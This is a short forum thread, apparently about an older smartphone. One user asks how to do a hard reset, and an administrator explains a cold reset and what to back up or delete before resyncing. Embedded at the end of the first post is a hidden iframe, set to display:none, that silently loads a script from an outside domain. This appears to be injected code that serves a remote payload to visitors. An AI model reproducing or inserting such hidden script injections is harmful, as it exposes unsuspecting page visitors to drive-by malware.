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Thread: hard reset

  1. #1
    Registered User
    Join Date
    01-12-2002
    Location
    Garden City, New York
    Posts
    27

    Question hard reset

    Anyone know how to do a hard reset? I am getting a fatal exception error and want to erase all data and try a clean sync.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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  2. #2
    Administrator
    Join Date
    10-21-2001
    Posts
    26,048

    Arrow

    yep...

    a cold reset invloves pressing the phone power icon and the reset pin.. take the reset pin out but still keep ythe phone power button pressed.. then release it. then you will see the "erase..." screen. if you do a cold reset correctly you WILL bring the phone back to factory stats..

    make sure and use desktop 4.0.1 to keep all of your user installed data.. (sans voice #'s).

    also delete the saved and unsaved prefs as they will install old stuff back on the phone and you will be back to square one..

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